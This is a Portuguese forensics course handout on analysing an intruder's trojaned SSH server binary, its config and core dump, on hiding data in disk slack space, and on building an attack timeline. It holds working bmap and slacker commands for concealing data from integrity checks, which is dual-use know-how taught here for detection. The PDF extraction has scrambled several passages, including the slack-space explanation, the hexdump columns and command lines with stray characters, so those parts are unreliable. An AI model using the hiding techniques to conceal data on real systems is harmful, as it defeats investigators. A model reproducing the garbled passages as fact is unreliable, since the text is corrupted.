Pelo comando file vemos que o arquivo no teve os smbolos removidos, o que pode auxiliar na anlise. Trata-se de um executvel para Linux ligado dinamicamente a bibliotecas locais. Vemos pelo resultado do comando ldd que o executvel smbd utiliza funes da biblioteca de criptografia do sistema.

Recuperao e anlise de evidncias (parte 2)

Escola Superior de Redes RNP

102

Anlise de executveis
Uma procura por strings dentro do executvel pode fornecer informaes muito teis:
# strings -a /data/compromised/smbd D /lib/ld-linux.so.2 libcrypt.so.1 /usr/include//iceconf.h By-ICE_4_All ( Hackers Not Allowed! ) sshd version %.100s [%.100s] Bind to port %d failed: %.200s. Server listening on port %d. Connection from %.100s port %d SSH-%d.%d-%.50s Your ssh version is too old and is no longer supported. install a newer version. +-[ User Login Incoming ]----------- --- --- - | username: %s password: %s%s hostname: %s ROOT LOGIN as '%.100s' from %.100s
/usr/include//icekey.h /usr/include//iceseed.h

Uma procura por strings dentro do executvel pode fornecer informaes muito teis:
# strings -a /data/compromised/smbd D8 /lib/ld-linux.so.2 libcrypt.so.1 /usr/include//iceconf.h By-ICE_4_All ( Hackers Not Allowed! ) sshd version %.100s [%.100s] Bind to port %d failed: %.200s. Server listening on port %d. Connection from %.100s port %d SSH-%d.%d-%.50s Your ssh version is too old and is no longer suppor ted. Please install a newer version. +-[ User Login Incoming ]----------- --- --- - | username: %s password: %s%s hostname: %s ROOT LOGIN as %.100s from %.100s /usr/include//icekey.h /usr/include//iceseed.h

Please

As strings acima foram resumidas e mostram apenas algumas partes mais importantes. Podemos ver referncias a arquivos dentro do diretrio /usr/include, e mensagens sobre o autor da ferramenta. Tambm podemos ver que trata-se de um servidor SSH, possivelmente modificado pelo hacker. Alm disso, vemos um texto que parece ser parte de um log (user login incoming), possivelmente um log adicional que a ferramenta gera alm do log normal do SSH. No fim, mais referncias a arquivos no /usr/lib.

Anlise de executveis
Podemos ver indicaes de possveis arquivos para procurar no disco:
# ls -li /mnt/image/usr/include/ice* 92015 -rw-r--r-- 1 root root 692 May 16 2003 /mnt/image/usr/include/iceconf.h 91850 -rw------- 1 root root 539 May 24 2002 /mnt/image/usr/include/icekey.h 3176 -rw-r--r-- 1 root root 5 Aug 10 2003 /mnt/image/usr/include/icepid.h 92007 -rw------- 1 root root 512 Aug 10 2003 /mnt/image/usr/include/iceseed.h # file /mnt/image/usr/include/ice* /mnt/image/usr/include/iceconf.h: ASCII text /mnt/image/usr/include/icekey.h: data /mnt/image/usr/include/icepid.h: ASCII text /mnt/image/usr/include/iceseed.h: data

Podemos ver na sada das strings informaes que sugerem que o arquivo um servidor SSH. Podemos at mesmo ver indicaes de possveis arquivos para procurar no disco:
# ls -li /mnt/image/usr/include/ice*8 92015 -rw-r--r-- 1 root root 692 May mage/usr/include/iceconf.h 91850 -rw------- 1 root root 539 May mage/usr/include/icekey.h 3176 -rw-r--r-- 1 root root 5 Aug 10 e/usr/include/icepid.h 92007 -rw------- 1 root root 512 Aug mage/usr/include/iceseed.h # file /mnt/image/usr/include/ice*8 /mnt/image/usr/include/iceconf.h: ASCII text /mnt/image/usr/include/icekey.h: data /mnt/image/usr/include/icepid.h: ASCII text /mnt/image/usr/include/iceseed.h: data 16 2003 /mnt/i 24 2002 /mnt/i 2003 /mnt/imag 10 2003 /mnt/i

Os arquivos ainda esto presentes no disco e, de acordo com o comando file, contm texto e dados binrios. Algumas vezes, a anlise de executveis pode ser facilitada se encontramos mais evidncias no disco para apoiar a anlise.

Anlise forense Sesso de aprendizagem 6

103

Anlise de executveis
Arquivo de configurao de servidor SSH:
# cat /mnt/image/usr/include/iceconf.h # This is ssh server systemwide configuration file. Port 2003 ListenAddress 0.0.0.0 HostKey /usr/include//icekey.h RandomSeed /usr/include//iceseed.h ServerKeyBits 768 LoginGraceTime 600 KeyRegenerationInterval 1 PermitRootLogin yes

Examinando um dos arquivos de texto, vemos que realmente um arquivo de configurao de servidor SSH:
# cat /mnt/image/usr/include/iceconf.h8 # This is ssh server systemwide configuration file. Port 2003 ListenAddress 0.0.0.0 HostKey /usr/include//icekey.h RandomSeed /usr/include//iceseed.h ServerKeyBits 768 LoginGraceTime 600 KeyRegenerationInterval 1 PermitRootLogin yes

Um dos arquivos encontrados realmente uma configurao de servidor SSH. Podemos ver que a porta onde este servidor escuta a 2003, uma porta que no comum. Seria interessante correlacionar este tipo de informao com informaes de dispositivos de rede e firewall, para ver se realmente ocorreu alguma atividade nesta porta.

Anlise de executveis
Chave privada do servidor com identificao do usurio que a gerou:
# strings -a /mnt/image/usr/include/icekey.h SSH PRIVATE KEY FILE FORMAT 1.1 "0w: RXqU_C root@lessons.menchey.com} z>'|E b9jH2 \=?0 ;d-) L=7~= (e8

Fazendo um exame de um dos arquivos de dados, obtemos a chave privada do servidor com a identificao do usurio que a gerou:
# strings -a /mnt/image/usr/include/icekey.h8 SSH PRIVATE KEY FILE FORMAT 1.1 0w: RXqU_C root@lessons.menchey.com} z>|E b9jH2 \=?0 ;d-) L=7~= (e8

Quando um servidor SSH instalado, precisa de uma chave privativa para funcionar. A chave gerada de acordo com usurio e host, e neste caso podemos ver que a informao ficou gravada no arquivo e pode dar indicaes de onde o hacker esteve antes de invadir o sistema.

Recuperao e anlise de evidncias (parte 2)

Escola Superior de Redes RNP

104

Anlise do cdigo
Aps conseguir o mximo de informaes sobre o programa, o analista realiza a engenharia reversa do programa. Realizar a engenharia reversa significa transformar o cdigo de mquina novamente em cdigo-fonte, para analisar as funes do programa. Pode revelar funes obscuras do programa. Este conhecimento pode ser til para evitar novas invases ou para eliminar as que ainda existem.

Anlise do cdigo
Somente depois de conseguir o mximo de informaes possveis sobre o programa (lembre-se de usar o Google), que o analista deve tentar realizar a engenharia reversa do programa.

Realizar a engenharia reversa de um programa significa transformar o cdigo de mquina novamente em cdigo-fonte, para analisar as funes do programa. Algumas vezes necessrio fazer isso para descobrir funes obscuras do programa. Por exemplo, se a ferramenta encontrada for um bot, talvez seja necessrio identificar o endereo do controlador, como o invasor faz para se autenticar e controlar o bot. Este conhecimento pode ser til para evitar novas invases ou para eliminar as que ainda existem. Bot (do ingls robot) um programa que permite que um invasor controle toda a mquina remotamente. Uma rede de computadores infectados com bot forma uma botnet e permite que o invasor controle centenas de computadores ao mesmo tempo, atravs de um servidor central conhecido como controlador da botnet. Existem diversos mtodos de controle de botnet, sendo os mais comuns o IRC e o HTTP. Por isso, algumas vezes importante realizar a anlise do binrio para conhecer mais sobre a ferramenta e prevenir a instituio de outras invases.

Anlise do cdigo
Diversas ferramentas fazem engenharia reversa de cdigo: OllyDBG IDA Pro Entre outras LDasm: Ferramenta escrita em Perl, com interface grfica para Linux No faz parte do CD do Helix
# /data/tools/LDasm0.04.53/bin/ldasm

Vamos ver uma ferramenta escrita em Perl, com interface grfica para Linux. Chama-se LDasm, e no faz parte do CD do Helix:
# /data/tools/LDasm0.04.53/bin/ldasm8

A engenharia reversa de binrios extremamente complexa, necessitando de conhecimento aprofundado de linguagens de programao e do sistema operacional do binrio; normalmente preciso dedicar muitas horas de anlise para identificar as funcionalidades de um programa.

O contedo necessrio para explicar este tipo de anlise seria suficiente para outro curso com a mesma extenso deste. No vamos nos aprofundar na realizao de engenharia reversa, o que est fora dos objetivos deste curso. O aluno que tiver conhecimentos de assembler e programao poder se aprofundar no assunto.

Anlise forense Sesso de aprendizagem 6

105

Aqui temos um exemplo do LDasm, mostrando o arquivo exemplo aberto na parte do cdigo que faz referncia s strings vistas anteriormente.

Anlise do cdigo
O investigador pode executar o programa em um ambiente controlado e isolado. O primeiro passo encontrar o ponto de incio do programa:
# nm /data/compromised/smbd\ -D 08054ccc T MD5Final 08054be0 T MD5Init ... 08049b84 ? _init

Se realmente for necessrio, o investigador pode executar o programa em um ambiente controlado e isolado. Conecte a estao em um hub, switch ou cabo crossover para monitorar a atividade de rede. Mesmo assim, execute o programa dentro de um depurador de cdigo, como o GDB, OllyDBG ou IDA Pro. O primeiro passo encontrar o ponto de incio do programa:
# nm /data/compromised/smbd\ -D8 08054ccc T MD5Final 08054be0 T MD5Init ... 08049b84 ? _init

Aqui ficam os avisos sobre executar o binrio em um ambiente controlado e isolado. Com o comando nm, vemos as funes que o programa exporta ou importa das bibliotecas, e tambm a funo inicial do programa, chamada logo que ele carregado na memria. Esta a funo que devemos procurar em um depurador, para interromper o programa antes que ele execute alguma funo perigosa.

Recuperao e anlise de evidncias (parte 2)

Escola Superior de Redes RNP


Agora, podemos executar o programa passo a passo com o depurador:

106

Anlise do cdigo
Executando o programa com o depurador:
# /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D (gdb) b * 0x08049b84 Breakpoint 1 at 0x8049b84 (gdb) run Starting program: /data/compromised/smbd -D Breakpoint 1, 0x08049b84 in _init () (gdb) stepi 0x08049b85 in _init () (gdb) bt #0 0x08049b85 in _init () #1 0xb7df3e5d in __libc_start_main () from /lib/tls/libc.so.6 #2 0x0804a501 in _start () (gdb) disassemble 0x08049b85 0x08049baa Dump of assembler code from 0x8049b85 to 0x8049baa: 0x08049b85 <_init+1>: mov %esp,%ebp

# /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D8 (gdb) b * 0x08049b84 Breakpoint 1 at 0x8049b84 (gdb) run Starting program: /data/compromised/smbd -D Breakpoint 1, 0x08049b84 in _init () (gdb) stepi 0x08049b85 in _init () (gdb) bt #0 0x08049b85 in _init () #1 0xb7df3e5d in __libc_start_main () from /lib/ tls/libc.so.6 #2 0x0804a501 in _start () (gdb) disassemble 0x08049b85 0x08049baa Dump of assembler code from 0x8049b85 to 0x8049baa: 0x08049b85 <_init+1>: mov %esp,%ebp

Observamos a sesso de execuo do programa dentro do depurador. Inicialmente, criamos um breakpoint, ou ponto de parada do programa, para que ele no execute totalmente. Dessa forma, o programa vai parar na funo onde criamos o breakpoint. No caso, estamos criando o breakpoint na funo init, como vimos anteriormente. A seguir, executamos o programa e ele pra no ponto onde marcamos. Com o comando step podemos ir avanando linha por linha do cdigo, para saber as funes do programa. O comando bt mostra o backtrace do programa, isto , a pilha de chamadas de funes do programa, que serve para conhecer mais sobre o fluxo do programa. O comando disassemble permite ver uma parte do cdigo assembler do programa. Novamente, no vamos realizar aqui uma anlise completa do programa, pois isso levaria muito tempo.

Anlise forense Sesso de aprendizagem 6

107

Anlise de core dump


Arquivos de core dump podem fornecer boas pistas sobre o invasor Gerados quando algum programa executa uma operao ilegal e encerrado pelo sistema Gerados quando algum programa executado no foi terminado corretamente Armazenam uma cpia da memria do programa no momento em que ocorreu a falha Guardam todas as informaes sobre o arquivo que o gerou, para que o programador possa descobrir o que causou o erro.

Anlise de core dump


Outros exemplos de evidncias que podem nos dar boas pistas sobre o invasor so os arquivos de core dump. Estes arquivos so gerados quando algum programa executa uma operao ilegal e encerrado pelo sistema.

Os arquivos de core dump so gerados quando algum programa executado no foi terminado corretamente, devido a um erro grave como falta de memria, acesso indevido ou erros de programao. So importantes porque armazenam uma cpia da memria do programa no momento em que ocorreu a falha, e guardam todas as informaes sobre o arquivo que o gerou, para que o programador possa descobrir o que causou o erro. Isto muito til para o analista forense, pois podemos descobrir informaes sobre o programa executado e sobre quem o executou. Vamos utilizar como exemplo o arquivo /data/compromised/smbd-D.core. Examinando este arquivo, podemos encontrar informaes interessantes sobre o programa:
# strings -a /data/compromised/smbd-D.core8 smbd -D /data/compromised/smbd -D Linux Helix /data/compromised/smbd D SSH_CLIENT=192.168.47.1 4062 22 USER=root PWD=/root LOGNAME=root SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22

Anlise de core dump


Examinando o arquivo /data/compromised/smbd-D.core, podemos encontrar informaes interessantes sobre o programa:
# strings -a /data/compromised/smbd-D.core smbd -D /data/compromised/smbd -D Linux Helix /data/compromised/smbd D SSH_CLIENT=192.168.47.1 4062 22 USER=root PWD=/root LOGNAME=root SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22

Anlise de core dump


Um arquivo core dump tem algumas informaes importantes sobre a ferramenta que o gerou: Nome original do executvel Nome do usurio que executou o programa Cpia das variveis de ambiente no momento da execuo Possivelmente informaes sobre a conexo SSH do invasor (varivel $SSH_CLIENT) Informaes sobre o que causou o fim prematuro do programa e a gerao do core dump Se tivermos o binrio original, podemos utilizar o gdb para examinar o arquivo de core dump juntamente com o binrio e descobrir o que aconteceu no momento da falha

Podemos ver na sada do comando strings algumas informaes sobre o arquivo que gerou o core. Neste caso, o comando foi o mesmo que utilizamos como exemplo. Podemos observar o nome do sistema operacional e diversas variveis de ambiente que permitem identificar o usurio que rodou o programa e o diretrio onde ele estava, alm das variveis do SSH que permitem identificar de onde o invasor estava conectado no momento em que o arquivo foi gerado.

Recuperao e anlise de evidncias (parte 2)

Escola Superior de Redes RNP

108

Slack space
A busca por arquivos deixados pelo invasor pode ser demorada, exigindo pacincia e dedicao. O que acontece quando a evidncia que procuramos foi escondida intencionalmente, de forma que no seja possvel encontr-la com as ferramentas que vimos at agora? Existem tcnicas para esconder a informao, atravs das quais o dado escondido no pode ser identificado mesmo que se tenha acesso ao arquivo onde est armazenado. Um exemplo a tcnica chamada de Esteganografia.

Slack space
A busca por arquivos deixados pelo invasor ou partes de arquivos, evidncias de acesso ou timestamps das atividades pode ser demorada, exigindo pacincia e dedicao. O que acontece quando a evidncia que procuramos foi escondida intencionalmente, de forma que no seja possvel encontr-la com as ferramentas que vimos at agora?

Existem tcnicas para esconder a informao, em que o dado escondido no pode ser identificado mesmo que se tenha acesso ao arquivo onde est armazenado. Um exemplo a tcnica chamada de Esteganografia. Com ela, algum pode esconder determinada informao dentro de outra informao, de forma que no possvel separar os dados de uma e de outra. Dessa forma, se voc tiver acesso informao utilizada para esconder o dado original, no saber que este dado est ali.

Slack space
Vimos que quando um arquivo tem um tamanho menor que o tamanho do bloco, o espao restante desperdiado. Este espao conhecido como slack space. O slack space usado como tcnica para esconder informao. Os blocos de dados so as menores estruturas possveis em um sistema de arquivos.
Bloco de dados

Normalmente, este espao desperdiado pelo sistema operacional. Se um sistema de arquivos tiver um tamanho de bloco incompatvel com o tipo de arquivo que normalmente armazenado nele, vai haver muito desperdcio de espao. Por exemplo, suponha que o sistema de arquivos foi formatado com blocos de 32 kb de tamanho. Isto poderia ser interessante em um sistema que gravasse arquivos grandes, pois o tamanho maior de bloco faria com que as operaes de leitura e escrita fossem mais rpidas. Mas em um sistema que possua arquivos pequenos, com menos de 32 Kb, cada arquivo gravado em disco ocuparia somente um nico bloco, mas no o bloco inteiro.

dados do arquivo

slack space

Isto acontece porque cada bloco pode estar alocado por apenas um inode de cada vez, e cada inode est associado a um nico arquivo.

Slack space

Vimos que quando um arquivo tem um tamanho menor que o Assim, se voc gravar o espao restante desperdiado. Este tamanho do bloco, 100 arquivos de 1 kb neste disco, ocuparia 3200 kb (100 * 32 kb) vez espao emblocode 100estar(100 * 1kb), como seria de se de cada vez, e cada conhecido kb alocado em apenas um inode esperar. A razo disto como slack space. que cada pode O inode associado a um nico arquivo. tcnica para esconder slack space usado como informao. Qualquer sistema de arquivos, com qualquer tamanho de bloco, est sujeito a Os blocos de dados so dificilmente os arquivos tero umpossveis em esse tipo de desperdcio, pois as menores estruturas tamanho num valor mltiplo do arquivos. um sistema detamanho do bloco.
Bloco de dados

dados do arquivo
Anlise forense Sesso de aprendizagem 6

slack space

Isto acontece porque cada bloco pode estar alocado por apenas um inode de cada vez, e cada inode est associado a um nico arquivo.

109

Slack space
Exemplo:
# du -sb /data/dirt_list.txt 60 /data/dirt_list.txt # du -sk /data/dirt_list.txt 4 /data/dirt_list.txt

Exemplo:
# du -sb /data/dirt_list.txt8 60 /data/dirt_list.txt # du -sk /data/dirt_list.txt8 4 /data/dirt_list.txt

Mas o que isso tem a ver com esconder informao? Contando que este espao desperdiado sempre vai existir, foram desenvolvidas ferramentas para esconder informaes nele. O bmap uma ferramenta para esconder dados no slack space de qualquer arquivo, ou at mesmo em um diretrio inteiro, e depois recuperar essas informaes quando for necessrio.

No exemplo, o arquivo tem 60 bytes, o que mostra o primeiro comando. O segundo comando, ao mostrar o tamanho em kb, informa que o arquivo tem 4 kb, pois este o espao que ele ocupa em disco, contando o slack space. O arquivo ocupa um bloco inteiro, apesar de s utilizar 60 bytes deste bloco para seus dados.

Este espao extra pode ser utilizado para esconder informao. Como os dados do arquivo no so modificados, sua assinatura SHA1 no modificada, e como no h nenhuma referncia aos dados que esto neste espao extra, o sistema operacional nunca sabe que ele existe. possvel at mesmo utilizar todos os arquivos de um diretrio para armazenar um dado, se este tiver um tamanho maior do que o que caberia em um nico slack space de um bloco.

Slack space
Exemplos: # bmap --mode slackbytes /data/dirt_list.txt 4036 # cat /data/badfiles_hashs.sha1 | bmap --mode putslack /data/dirt_list.txt stuffing block 1540604 file size was: 60 slack size: 4036 block size: 4096 # bmap --mode slack /data/dirt_list.txt getting from block 1540604 8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod 44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo

Vejamos alguns exemplos:


# bmap --mode slackbytes /data/dirt_list.txt8 4036 # cat /data/badfiles_hashs.sha1 | bmap --mode putsla ck /data/dirt_list.txt8 stuffing block 1540604 file size was: 60 slack size: 4036 block size: 4096 # bmap --mode slack /data/dirt_list.txt8 getting from block 1540604 8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod 44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo

No primeiro exemplo, checamos o espao disponvel no slack space de um arquivo. A seguir, escondemos um dado neste espao. Veja que o programa bmap recebe os dados que vo ser gravados no slack space atravs do STDIN, e o arquivo especificado no comando o arquivo onde vai ser gravada a informao. O ltimo comando mostra como recuperar uma informao no slack space.

Recuperao e anlise de evidncias (parte 2)

Escola Superior de Redes RNP


Vejamos alguns exemplos:
# dcat /dev/sda5 1540604 | hexdump -C8
Vejamos alguns exemplos:
# dcat /dev/sda5 1540604 00000000 74 74 79 6f 70 |ttyop.ttyoa.ttyo| 00000010 66 0a 68 64 78 |f.hdx1.hdx2.sshd| 00000020 20 76 65 72 73 ve| 00000020 20 76 65 72 73 ve| 00000030 72 73 69 6f 6e |rsion.\w@\w.8bc9| | hexdump -C 0a 74 74 79 6f 61 0a 74 74 79 6f 31 0a 68 69 6f 6e 69 6f 6e 0a 5c 77 64 78 32 0a 73 73 68 64 0a 42 61 73 68 20 76 65 0a 42 61 73 68 20 76 65 40 5c 77 0a 38 62 63 39 | version.Bash | version.Bash

110

Slack space

# ls -l /data/dirt_list.txt -rw-r--r-- 1 root root 60 Jan

6 17:24 /data/dirt_list.txt /data/tools

00000000 74 74 79 6f 70 0a 79 6f |ttyop.ttyoa.ttyo| 00000010 66 0a 68 64 78 31 68 64 |f.hdx1.hdx2.sshd| 00000020 20 76 65 72 73 69 76 65 | version.Bash ve| 00000020 20 76 65 72 73 69 76 65 | version.Bash ve| 00000030 72 73 69 6f 6e 0a 63 39 |rsion.\w@\w.8bc9|

74 74 79 6f 61 0a 74 74 0a 68 64 78 32 0a 73 73 6f 6e 0a 42 61 73 68 20 6f 6e 0a 42 61 73 68 20 5c 77 40 5c 77 0a 38 62

# cat /data/compromised/smbd-D.core | slacker --mode fill # slacker --mode pour /data/tools > /tmp/test.dat

# ls -l /data/dirt_list.txt8 -rw-r--r-- 1 root root 60 Jan 6 17:24 /data/dirt_li st.txt # cat /data/compromised/smbd-D.core | slacker --mode fill /data/tools8 # slacker --mode pour /data/tools > /tmp/test.dat8

Somente para verificar o funcionamento, lemos com o dcat o bloco de dados onde a informao foi escondida, e notamos que os 60 bytes iniciais, marcados em negrito, so do arquivo original, enquanto o restante faz parte do arquivo que foi escondido. Normalmente, em um bloco sem informao escondida existiriam somente bytes 0x00 nestas posies ou restos de arquivos anteriores e dos buffers de gravao na memria. Os dois ltimos exemplos mostram a ferramenta slacker, que permite gravar uma informao em mais de um arquivo. Ela funciona da seguinte forma: lista o slack space em cada arquivo do diretrio passado como parmetro, e grava um pedao da informao em cada arquivo at terminar o dado. O ltimo comando mostra como recuperar o arquivo deste diretrio. Como no possvel saber onde a informao acaba, o comando acima vai ler o slack space de todos os blocos no diretrio, mesmo que eles no tenham sido usados para gravar a informao original; por isso, para recuperar o arquivo original necessrio saber o tamanho total do arquivo, e separar esses bytes de dentro do arquivo /tmp/test.dat.

Slack space
Nenhuma ferramenta que verifique a integridade do sistema vai acusar a presena destes dados. Se o arquivo for apagado o bloco de dados pode ser alocado em outro arquivo e a informao no slack space pode ser sobrescrita. O mesmo acontece se o arquivo que utilizamos para armazenar a informao aumentar de tamanho. Por isso, esta informao considerada voltil. Existem ferramentas que permitem criar um sistema de arquivos completo dentro do slack space de um diretrio.

Como no modificamos o contedo do arquivo, mas somente do espao desperdiado, nenhuma ferramenta que verifique a integridade do sistema vai acusar a presena destes dados. Como o espao utilizado para armazenar os dados o espao desperdiado em um bloco, se o arquivo for apagado o bloco de dados pode ser alocado em outro arquivo e a informao no slack space pode ser sobrescrita.

Anlise forense Sesso de aprendizagem 6

111

O mesmo acontece se o arquivo que utilizamos para armazenar a informao aumentar de tamanho. Por isso, esta informao considerada voltil. Mesmo assim, existem ferramentas que permitem criar at mesmo um sistema de arquivos completo dentro do slack space de um diretrio.

Concluses
Apenas recuperar arquivos apagados pode no ser suficiente Em alguns casos, precisamos nos aprofundar nas provas, e descobrir as funcionalidades de um executvel desconhecido Podemos descobrir informaes sobre o programa com ferramentas bsicas ou realizar uma anlise avanada, fazendo a engenharia reversa do cdigo ou executando o programa em ambiente controlado A anlise do contedo de arquivos core dump pode fornecer informaes sobre o invasor e a ferramenta Precisamos procurar at mesmo onde nem imaginamos haver informao, como no slack space dos blocos de disco

Concluses
Na prxima sesso reuniremos todas as evidncias encontradas para correlacion-las em uma linha de tempo. Com isso, vamos tentar descobrir como e quando o ataque ocorreu e identificar o que foi feito na mquina aps a invaso. Esta informao ser til para que a empresa se proteja de ataques futuros.

Recuperao e anlise de evidncias (parte 2)

Escola Superior de Redes RNP

112

Anlise forense Sesso de aprendizagem 6

6
Sesso de aprendizagem 6 Recuperao e anlise de evidncias (parte 2) Roteiro de atividades
Tpicos e conceitos
\\Investigao

do contedo dos arquivos e descoberta de ferramentas necessrias para pesquisas avanadas.

Competncias tcnicas desenvolvidas


\\Utilizao

de comandos que fazem anlise do contedo de arquivos.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-120

minutos

Escola Superior de Redes RNP

114

Atividade 1 Anlise do contedo do arquivo


1. Um dos arquivos encontrados na sesso passada continha uma srie de ferramentas instaladas na mquina pelo invasor. Alm disso, o pacote continha cpias de binrios comumente encontrados na mquina. Examine os arquivos ifconfig, ls, netstat, ps e syslogd e faa um relatrio resumindo o que voc acha que estes programas fazem. Utilize as tcnicas vistas durante a sesso, mas no necessrio realizar a engenharia reversa do cdigo (faa apenas se achar que consegue). A atividade deve ser feita em dupla. Outro arquivo que existe nesse pacote um arquivo de core-dump. Analise este arquivo e faa um relatrio com as informaes que encontrar. O que voc pode dizer sobre o usurio que gerou esse arquivo?

2.

Atividade 2 Busca de ferramentas na internet


Procure na internet mais informaes sobre o uso do Slack Space em sistemas de arquivos. Quais restries existem para usar o Slack Space? Para quais sistemas de arquivos existem ferramentas para usar este espao? Faa um relatrio sobre o que encontrar, incluindo descries breves das ferramentas e de como elas funcionam.

Anlise forense Sesso de aprendizagem 6

7
Sesso de aprendizagem 7 Linha de tempo e reconstruo do ataque
Sumrio da sesso
Linha de tempo. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116 Ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116 Correlao de informaes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 Reconstruo do ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121 Atividade 1 Determinando a linha do tempo . . . . . . . . . . . . . . . . . . . . . . . . . 122 Atividade 2 Identificando os eventos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122

Escola Superior de Redes RNP

116

Linha de tempo p
Objetivo Obj ti
Criar um histrico das aes e eventos encontrados no sistema comprometido, comprometido de forma a identificar quando e como ocorreu a q ando ocorre invaso, dando uma viso clara do ataque e dos mtodos utilizados pelo invasor para invadir e tomar o controle do sistema.

Linha de tempo
A linha de tempo til para que a instituio se proteja de futuros ataques, pois permite estudar o modo de operao dos invasores e ajudar a melhorar as defesas da instituio.

Problemas

As informaes coletadas em um sistema comprometido no so confiveis, e por isso importante o analista correlacionar as informaes obtidas na mquina com outras fontes, tais como logs de roteadores e firewalls, servidores de e-mail e de arquivos e informaes obtidas em entrevistas com potenciais suspeitos.

Alm da correlao com fontes externas, o investigador pode detectar inconsistncias em alguma evidncia se correlacionar diversas informaes sobre a mesma atravs de fontes diferentes. Por exemplo, se um log tem informaes gravadas em determinada data e horrio, mas o inode que armazena este log indica que o contedo do arquivo foi modificado em um horrio anterior a esta informao do log, provavelmente o log foi comprometido, pois existe inconsistncia entre as informaes. No mnimo, o log no deve mais ser confivel. Exemplo: para definir quando uma mquina foi iniciada ou instalada, podemos utilizar evidncias como a data de acesso ou a criao de arquivos que somente so acessados ou criados durante o boot ou instalao, como os arquivos do /boot ou o arquivo /sbin/init, embora este ltimo possa ter sido modificado por um rootkit. A definio dos horrios em que a mquina foi invadida pode vir de fontes externas, como entrevistas com suspeitos ou responsveis pela mquina e tambm pelo registro da tela do computador, como no caso do nosso exemplo.

Linha de tempo p
Para i P criar uma linha d t li h de tempo, o analista d li t deve: Descobrir quando a mquina foi instalada ou iniciada Descobrir quando a mquina foi identificada como invadida, e o horrio em que comeou a atividade de q anlise forense e de conteno do ataque Obter informaes do momento em que a mquina foi efetivamente desligada Registrar informaes de tempo das evidncias coletadas

Ferramentas
O analista deve utilizar as ferramentas para coletar informaes sobre as evidncias encontradas:
# istat /data/compromised/compromised_hda1.img 30578 inode: 30578 Allocated Group: 2 uid / gid: 0 / 0 mode: rw r r i size: 228 num of links: 1 Inode Times: Accessed: Sun Aug 10 16:26:18 2003 File Modified: Wed Aug 6 12:09:17 2003 Inode Modified: Wed Aug 6 12:09:17 2003 Direct Blocks: 71142

Ferramentas
O analista deve utilizar as ferramentas vistas anteriormente para coletar informaes de tempo das evidncias encontradas:
# istat /data/compromised/compromised_hda1.img 305788 inode: 30578 Allocated Group: 2 uid / gid: 0 / 0 mode: -rw-r--r-size: 228 num of links: 1 Inode Times: Accessed: Sun Aug 10 16:26:18 2003 File Modified: Wed Aug 6 12:09:17 2003 Inode Modified: Wed Aug 6 12:09:17 2003 Direct Blocks: 71142

Anlise forense Sesso de aprendizagem 7

117

No exemplo acima examinamos o contedo do inode que armazena o arquivo /etc/ issue, criado quando a mquina iniciada. Ele acessado sempre que ocorre um login no sistema localmente ou remotamente por telnet ou ssh. Verificamos este acesso s 16:26:18, e a criao do arquivo no dia 6 de agosto, s 12:09.

Ferramentas
Algumas ferramentas podem facilitar o trabalho de coleta de informaes:
# fls -alrp -m / -z PDT /data/compromised/compromised_hda1.img | mactime -g /mnt/image/etc/group -p /mnt/image/etc/passwd > /data/compromised/compromised_hda1.img Sun Sep 25 1983 18:45:00 48856 m.. -/-rwxr-xr-x root root 92017 /usr/bin/top 8268 m.. -/-rwx------ root root 92010 /usr/bin/sl2 4060 m.. -/-rwxr-xr-x root root 92009 /usr/bin/sense Sun Aug 10 2003 14:33:19 36692 .a. -/-rwxr-xr-x root root 92022 /bin/ls 8268 .a. -/-rwx------ root root 92010 /usr/bin/sl2 2 .a. -/-rw-r--r-- root root 92023 /usr/lib/libsss

# fls -alrp -m / -z PDT /data/compromised/compromise d_hda1.img | mactime -g /mnt/image/etc/group -p /mnt/image/etc/passwd > /data/compromised/ compromised_hda1.img8 Sun Sep 25 1983 18:45:00 48856 m.. -/-rwxr-xr-x roo t root 92017 /usr/bin/top 8268 m.. -/-rwx------ root root 92010 /usr/bin/sl2 4060 m.. -/-rwxr-xr-x root root 92009 /usr/bin/sense Sun Aug 10 2003 14:33:19 36692 .a. -/-rwxr-xr-x roo t root 92022 /bin/ls 8268 .a. -/-rwx------ root root 92010 /usr/bin/sl2 2 .a. -/-rw-r--r-- root root 92023 /usr/lib/libsss

O comando acima cria o arquivo de linha de tempo de toda atividade de disco da imagem analisada. Podemos ver abaixo alguns exemplos de atividade. No dia 25 de setembro de 1983, s 18:45:00, ocorreu uma atividade de modificao de contedo (vide m.. na listagem) em trs arquivos. Sendo ela anterior instalao do sistema, podemos imaginar que estes arquivos estavam dentro de um arquivo TAR e foram descompactados no sistema. Podemos ver adiante uma atividade de acesso a outros arquivos (.a. na listagem) indicando que os mesmos foram lidos ou executados. O outro campo na coluna de atividade indica mudana no inode do arquivo (..c) e pode indicar quando o arquivo foi criado ou apagado, mas tambm quando as informaes sobre o arquivo foram alteradas: troca de dono do arquivo, troca de atributos etc.

Correlao de informaes
Informaes coletadas na mquina precisam ser correlacionadas com fontes externas: Logs de firewall Logs de roteadores Logs de servidores de e mail e-mail Entrevistas com suspeitos Descries e documentao na internet As informaes de datas devem estar sempre com o mesmo timezone para evitar inconsistncias inconsistncias. importante que as mquinas estejam com os horrios sempre corretos, de preferncia atualizados pelo servio NTP.

Correlao de informaes
importante lembrar das configuraes de timezone da mquina invadida e da estao forense do investigador, e sempre correlacionar logs externos levando em conta as diferenas de timezone.

